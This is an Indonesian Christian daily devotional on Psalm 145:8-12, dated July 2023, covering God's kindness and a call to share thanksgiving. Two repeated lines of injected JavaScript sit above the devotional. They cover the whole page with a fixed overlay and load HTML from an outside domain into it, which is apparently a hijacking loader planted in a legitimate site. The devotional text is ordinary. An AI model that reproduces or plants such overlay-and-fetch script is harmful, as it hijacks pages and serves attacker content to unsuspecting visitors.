const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Jumat, 07 Juli 2023
Mazmur 145 : 8 – 12
Pengantar
Setiap orang yang beriman kepada TUHAN pasti merasakan kasih dan kebaikan TUHAN. Kemarin kita telah membuat daftar kasih dan kebaikan TUHAN dalam hidup kita. Pasti tak semuanya bisa kita tulis sebab kasih dan kebaikan TUHAN sungguh tak terhitung. Apakah Saudara selalu mensyukuri kasih dan kebaikan TUHAN? Dengan cara apakah Saudara mengungkapkan rasa syukur itu? Melalui Mazmur hari ini kita akan belajar bagaimana mengungkapkan rasa syukur atas kasih dan kebaikan TUHAN.
Pemahaman
Ayat 8 – 9 : Siapakah TUHAN yang diberitakan Pemazmur?
Ayat 10 – 11 : Apakah yang dilakukan umat TUHAN ketika mengingat dan menyadari kebaikan TUHAN?
Mazmur 145 merupakan puji-pujian dari Daud. Mazmur ini biasa dinyanyikan ketika umat merayakan perayaan-perayaaan tahunan yang melibatkan seluruh umat bahkan seluruh makhluk untuk mengagungkan nama dan perbuatan-perbuatan ALLAH yang ajaib. Mazmur ini merupakan respons umat terhadap TUHAN yang telah berkarya baik dalam hidup mereka. Umat telah merasakan kasih, kebaikan dan kuasa TUHAN di sepanjang perjalanan kehidupan.
Dalam ayat 8-9, kita melihat bagaimana Pemazmur mengungkapkan dan memberitakan siapa sebenarnya TUHAN yang diimani umat-NYA? DIA-lah TUHAN yang penuh rahmat, kasih dan kebaikan. Pemazmur sangat menyadari dan mengalami kasih dan penyertaan TUHAN secara nyata. Ini bukan berarti Pemazmur tak pernah mengalami masalah dan kesulitan hidup. Tentu ada masa- masa gelap atau masa-masa sulit yang harus dihadapi. Akan tetapi di tengah masa sulit, Pemazmur tetap merasakan kasih, penyertaan
dan kebaikan ALLAH. Pemazmur mengimani bahwa ALLAH penuh rahmat dan kebaikan bagi segala ciptaan-NYA. Oleh karena itu sudah sepatutnya umat TUHAN dan segala makhluk ciptaan-NYA mengucap syukur senantiasa dan memuji-muji nama-NYA.
Dalam ayat 11-12 ditulis bahwa rasa syukur atas rahmat, kasih dan kebaikan TUHAN bukan hanya diekspresikan dengan memuji- muji TUHAN tapi juga memberitakan kasih dan kebaikan TUHAN bagi banyak orang sehingga hadirnya kerajaan TUHAN yang semarak dan mulia dirasakan oleh banyak orang.
Kasih dan kebaikan TUHAN yang kita alami tak boleh disimpan sendiri tapi perlu diberitakan (disharingkan) kepada orang lain. Dengan memberitakan kasih dan kebaikan TUHAN kepada orang lain maka kita mengajak mereka untuk ikut merasakan dan mensyukuri kasih dan kebaikan-NYA sehingga lebih banyak orang yang memuji dan memuliakan TUHAN.
Refleksi
Dalam keheningan, ingatlah: apakah Saudara pernah memberitakan kebaikan TUHAN bagi orang lain? Manakah yang lebih banyak Saudara lakukan, menyimpan kebaikan TUHAN buat diri sendiri ataukah memberitakan kebaikan TUHAN bagi banyak orang. Apakah Saudara merasa sulit memberitakan kasih dan kebaikan TUHAN kepada orang lain?
Tekadku
Ya TUHAN mampukanlah aku menyatakan rasa syukur atas kasih dan kebaikan-MU dengan memberitakan karya kasih dan kebaikan- MU kepada orang lain.
Tindakanku
Aku akan selalu memuji-memuji TUHAN di mana pun serta memberitakan karya kebaikan TUHAN bagi banyak orang dan segala makhluk ciptaan-NYA